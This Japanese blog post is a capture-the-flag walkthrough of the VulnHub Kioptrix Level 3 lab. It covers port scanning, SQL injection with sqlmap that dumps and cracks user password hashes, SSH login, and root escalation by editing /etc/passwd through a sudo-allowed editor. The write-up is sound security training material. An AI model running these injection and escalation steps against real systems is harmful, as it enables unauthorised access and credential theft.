0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

vulnhub Walkthrough :Kioptrix Level3

Last updated at Posted at 2021-01-11

初心者がいっぱしのセキュリティエンジニアを目指す為に勉強した備忘録となりますので間違っているとことがあるかもしれません。
vulnhubの意図的に脆弱性が作り込まれたKioptrix Level3のWalkthroughとなります。

vulnhubの情報

Name Kioptrix: Level 1.2 (#3)
Date release 18 Apr 2011
Author Kioptrix
Series Kioptrix
Web page http://www.kioptrix.com/blog/?p=358

PortScan:

sshApacheが起動しているようです。

SERVICE VERSION
ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch

root@kali:~# nmap -sS -sV 192.168.56.77
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-10 17:13 JST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns 
Nmap scan report for 192.168.56.77
Host is up (0.00050s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
MAC Address: 08:00:27:94:85:21 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.83 seconds

Enumeration:

webサーバのdirを確認します。
gallery/gallery.phpにアクセスしたところ、sqlインジェクションが発生していました。
画像の読み込みがうまくいっていなかったのでhostsの設置を行なってあります。


root@kali:~# dirb http://kioptrix3.com/gallery/ -X .php

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun May 10 17:41:34 2020
URL_BASE: http://kioptrix3.com/gallery/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://kioptrix3.com/gallery/ ----
+ http://kioptrix3.com/gallery/g.php (CODE:500|SIZE:3143)                                              
+ http://kioptrix3.com/gallery/gallery.php (CODE:200|SIZE:1654)                                        
+ http://kioptrix3.com/gallery/index.php (CODE:500|SIZE:5651)                                          
+ http://kioptrix3.com/gallery/login.php (CODE:500|SIZE:1998)                                          
+ http://kioptrix3.com/gallery/logout.php (CODE:500|SIZE:2085)                                         
+ http://kioptrix3.com/gallery/p.php (CODE:500|SIZE:1483)                                              
+ http://kioptrix3.com/gallery/photos.php (CODE:500|SIZE:1483)                                         
+ http://kioptrix3.com/gallery/profile.php (CODE:500|SIZE:1560)                                        
+ http://kioptrix3.com/gallery/recent.php (CODE:500|SIZE:2441)                                         
+ http://kioptrix3.com/gallery/register.php (CODE:500|SIZE:725)                                        
+ http://kioptrix3.com/gallery/search.php (CODE:500|SIZE:725)                                          
+ http://kioptrix3.com/gallery/slideshow.php (CODE:500|SIZE:725)                                       
+ http://kioptrix3.com/gallery/tags.php (CODE:500|SIZE:3212)                                           
+ http://kioptrix3.com/gallery/vote.php (CODE:200|SIZE:32)                                             
                                                                                                       
-----------------
END_TIME: Sun May 10 17:41:39 2020
DOWNLOADED: 4612 - FOUND: 14

スクリーンショット 2020-05-10 17.46.00.png

他のページからgallery.phpのsqlインジェクションを発生させているパラメータを探したろこと、id
で発生していることがわかりました。

 gallery/gallery.php?id=1&sort=views#photos

スクリーンショット 2020-05-10 17.46.39.png

Exploitation:

今回はsqlmapを使用します。
今度、追記でsqlmapを使用しない版も書きます。


root@kali:~# sqlmap -url kioptrix3.com/gallery/gallery.php?id=test --dbs
[17:50:43] [INFO] fetching database names
[17:50:43] [INFO] used SQL query returns 3 entries
[17:50:43] [INFO] retrieved: 'information_schema'
[17:50:43] [INFO] retrieved: 'gallery'
[17:50:43] [INFO] retrieved: 'mysql'
available databases [3]:                                                                               
[*] gallery
[*] information_schema
[*] mysql

root@kali:~# sqlmap -url kioptrix3.com/gallery/gallery.php?id=test -D gallery --dump

do you want to use common password suffixes? (slow!) [y/N] y
[17:55:02] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[17:55:02] [INFO] starting 2 processes 
[17:55:32] [INFO] cracked password 'Mast3r' for user 'dreg'                                            
[17:55:40] [INFO] cracked password 'starwars' for user 'loneferret'                                    
Database: gallery                                                                                      
Table: dev_accounts
[2 entries]
+----+---------------------------------------------+------------+
| id | password                                    | username   |
+----+---------------------------------------------+------------+
| 1  | 0d3eccfb887aabd50f243b3f155c0f85 (Mast3r)   | dreg       |
| 2  | 5badcaf789d3d1d09794d8f021f40f0e (starwars) | loneferret |
+----+---------------------------------------------+------------+

ユーザIDとパスワードがわかったので、sshを試してみたところ接続することができました。


kali@kali:~$ ssh loneferret@192.168.56.77
loneferret@192.168.56.77s password: 
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
                                                                                                                    
To access official Ubuntu documentation, please visit:                                                              
http://help.ubuntu.com/
Last login: Sun May 10 13:59:26 2020 from 192.168.56.65
loneferret@Kioptrix3:~$ 

Privilege Escalation:

いろいろ調べているとCompanyPolicy.READMEというのを発見しました。
sudo htがパスワードなしで使用できるようです。


loneferret@Kioptrix3:~$ cat CompanyPolicy.README                                                                                                                                                                                           
Hello new employee,                                                                                                                                                                                                                        
It is company policy here to use our newly installed software for editing, creating and viewing files.                                                                                                                                     
Please use the command 'sudo ht'.                                                                                                                                                                                                          
Failure to do so will result in you immediate termination.                                                                                                                                                                                 
                                                                                                                                                                                                                                           
DG
CEO

loneferret@Kioptrix3:~$ sudo -l
User loneferret may run the following commands on this host:
    (root) NOPASSWD: !/usr/bin/su
    (root) NOPASSWD: /usr/local/bin/ht
loneferret@Kioptrix3:~$ 

sudoで実行したところ、xtermでエラーが出てたので修正しました。


loneferret@Kioptrix3:~$ sudo /usr/local/bin/ht              
Error opening terminal: xterm-256color.
loneferret@Kioptrix3:~$ export TERM=xterm-color
loneferret@Kioptrix3:~$ sudo /usr/local/bin/ht

今回は/etc/passwdにユーザを追加します。
htで追加を行う前にopensslでパスワードハッシュを作成します。
作成が終わったら、ht/etc/passwdにユーザを作成し、
suでユーザを変更するだけです。


root@kali:~# openssl passwd -1 -salt hoge pass123
$1$hoge$7LUHELCYa/UiDzW5z823E1

スクリーンショット 2020-05-10 18.16.04.png

無事に権限昇格することができました。



root@Kioptrix3:/home/loneferret# id
uid=0(root) gid=0(root) groups=0(root)
root@Kioptrix3:/home/loneferret# whoami
root
root@Kioptrix3:/home/loneferret# cd /root
root@Kioptrix3:~# ls
Congrats.txt  ht-2.0.18
root@Kioptrix3:~# cat Congrats.txt 
Good for you for getting here.
Regardless of the matter (staying within the spirit of the game of course)
you got here, congratulations are in order. Was not that bad now was it.

Went in a different direction with this VM. Exploit based challenges are
nice. Helps workout that information gathering part, but sometimes we
need to get our hands dirty in other things as well.
Again, these VMs are beginner and not intented for everyone. 
Difficulty is relative, keep that in mind.

The object is to learn, do some research and have a little (legal)
fun in the process.


I hope you enjoyed this third challenge.

Steven McElrea
aka loneferret
http://www.kioptrix.com


Credit needs to be given to the creators of the gallery webapp and CMS used
for the building of the Kioptrix VM3 site.

Main page CMS: 
http://www.lotuscms.org

Gallery application: 
Gallarific 2.1 - Free Version released October 10, 2009
http://www.gallarific.com
Vulnerable version of this application can be downloaded
from the Exploit-DB website:
http://www.exploit-db.com/exploits/15891/

The HT Editor can be found here:
http://hte.sourceforge.net/downloads.html
And the vulnerable version on Exploit-DB here:
http://www.exploit-db.com/exploits/17083/


Also, all pictures were taken from Google Images, so being part of the
public domain I used them.

root@Kioptrix3:~# 

免責事項

本記事は情報セキュリティにおける攻撃の理解、防衛のスキル向上を目的としたセキュリティに関する内容がございます。本記事の内容を使用し発生した如何なる損害や損失について、当記事作成者は一切の責任を負いません。
本記事の内容を実際に使用して、第三者の個人や組織などを攻撃した場合は
法律により罰せられる可能性がありので、必ず自身が所有している環境のみを
対象とし、他人や組織が所有している環境は決して対象としないようお願いします。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?